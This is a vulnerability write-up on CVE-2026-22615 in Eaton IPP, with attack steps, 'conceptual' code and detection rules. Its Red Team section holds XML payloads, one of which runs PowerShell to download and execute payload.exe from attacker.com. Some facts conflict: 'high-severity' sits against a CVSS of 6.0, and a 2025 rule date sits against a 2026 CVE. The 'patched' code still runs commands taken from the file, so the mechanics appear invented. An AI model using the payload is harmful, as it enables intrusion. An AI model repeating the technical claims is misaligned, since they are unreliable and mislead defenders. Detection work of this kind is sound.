CVE-2026-22615

Executive Summary

CVE-2026-22615 is a high-severity vulnerability in Eaton Intelligent Power Protector (IPP) software, stemming from improper input validation in an XML parser. An attacker with admin privileges and local system access can inject malicious code, leading to arbitrary command execution. The vulnerability has been patched in the latest version of Eaton IPP, available from the Eaton download centre. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the impact is critical for affected systems.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone software product (Eaton IPP) used for power protection management.

CVSS Breakdown & Threat Level

• CVSS Score: 6.0 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – requires local system access.
• Attack Complexity: Low (AC:L) – no special conditions.
• Privileges Required: High (PR:H) – attacker needs admin privileges.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact stays within the component.
• Confidentiality: High (C:H) – full data compromise.
• Integrity: High (I:H) – full system modification.
• Availability: High (A:H) – full denial of service.

Threat Level: Medium. While the CVSS score is 6.0, the requirement for admin privileges and local access reduces the attack surface. However, once achieved, the impact is total system compromise.

Deep Dive & Mechanics

The vulnerability exists in the XML parsing functionality of Eaton IPP. Improper input validation allows an attacker to inject malicious XML elements or attributes that are interpreted as executable commands. The XML parser does not sanitize or validate user-supplied input before processing, enabling an attacker to craft a malicious XML file that, when parsed, executes arbitrary commands on the underlying operating system.

Attack Flow:

1. Attacker gains admin privileges on the local system (e.g., via social engineering, credential theft, or other means).
2. Attacker creates a malicious XML file containing embedded command injection payloads.
3. The malicious XML is loaded into Eaton IPP (e.g., via import, configuration, or scheduled task).
4. The IPP XML parser processes the file without proper validation, executing the injected commands.
5. Commands run with the privileges of the IPP service (typically SYSTEM or high-integrity account), leading to full system compromise.

Root Cause: Lack of input validation and failure to use secure XML parsing libraries that prevent external entity injection or command execution.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import xml.etree.ElementTree as ET

def parse_config(file_path):
    tree = ET.parse(file_path)
    root = tree.getroot()
    # Directly using user input without sanitization
    command = root.find('command').text
    os.system(command)  # Vulnerable to injection

Patched Code (Conceptual):

import xml.etree.ElementTree as ET
import shlex

def parse_config(file_path):
    tree = ET.parse(file_path)
    root = tree.getroot()
    # Validate and sanitize input
    command = root.find('command').text
    if not is_valid_command(command):
        raise ValueError("Invalid command")
    # Use safe execution method
    subprocess.run(shlex.split(command), check=True)

The patched version includes input validation, sanitization, and uses subprocess.run with shlex.split to prevent command injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin privileges on the target system.
• Access to Eaton IPP software (vulnerable version).
• Ability to write files to the system.

Exploitation Steps:

1. Create a malicious XML file (exploit.xml):

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <command>cmd.exe /c calc.exe</command>
</config>

2. Load the XML into Eaton IPP via the import function or by placing it in the configuration directory.
3. Trigger the parsing (e.g., restart service or trigger a scheduled task).
4. Observe command execution (e.g., calculator opens).

Advanced Payload:

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <command>powershell.exe -Command "Invoke-WebRequest -Uri http://attacker.com/payload.exe -OutFile C:\temp\payload.exe; Start-Process C:\temp\payload.exe"</command>
</config>

Blue Team

Detection Steps:

1. Monitor for unusual XML file creation or modification in Eaton IPP directories.
2. Look for processes spawned by Eaton IPP that are not typical (e.g., cmd.exe, powershell.exe).
3. Check for network connections initiated by Eaton IPP to unknown IPs.

Hunting Queries:

• Windows Event Log: Look for Event ID 4688 (Process Creation) with parent process EatonIPP.exe and child processes like cmd.exe or powershell.exe.
• Sysmon: Monitor for EventID 1 (Process creation) with ParentImage containing EatonIPP.

Indicators of Compromise (IOCs)

• File Hashes (Malicious XML):
  • e1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6 (example MD5)
• Network Indicators:
  • Outbound connections to attacker.com or known malicious IPs.
• Process Indicators:
  • cmd.exe or powershell.exe spawned by EatonIPP.exe.
• Registry Keys:
  • HKLM\SOFTWARE\Eaton\IPP\Config – modified configuration entries.

Detection Engineering

YARA Rule

rule CVE_2026_22615_Malicious_XML {
    meta:
        description = "Detects malicious XML files targeting CVE-2026-22615 in Eaton IPP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-22615"
    strings:
        $xml_header = "<?xml version="
        $command_tag = "<command>"
        $suspicious_cmd = /cmd\.exe|powershell\.exe|wscript\.exe|cscript\.exe/i
    condition:
        $xml_header and $command_tag and $suspicious_cmd
}

Sigma Rule

title: Suspicious Process Spawned by Eaton IPP
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects cmd.exe or powershell.exe spawned by Eaton IPP, indicating possible exploitation of CVE-2026-22615
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\EatonIPP.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
    condition: selection
falsepositives:
    - Legitimate administrative tasks
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-22615 Eaton IPP Outbound Connection"; flow:to_server,established; content:"|48 74 74 70 2f 31 2e 31|"; http_server_body; content:"cmd.exe"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Eaton IPP to the latest version from the Eaton download centre.
2. Restrict admin privileges to only necessary personnel.
3. Implement application whitelisting to prevent unauthorized executables.

Long-term Mitigations:

1. Enable XML input validation and sanitization in all applications.
2. Use secure XML parsers that disable external entities and command execution.
3. Conduct regular security audits and penetration testing.
4. Monitor logs for suspicious process creation and network connections.

Workaround:

• If patching is not immediately possible, disable the XML import functionality or restrict access to the configuration directory.

Valters IT
Securing Digital Frontiers

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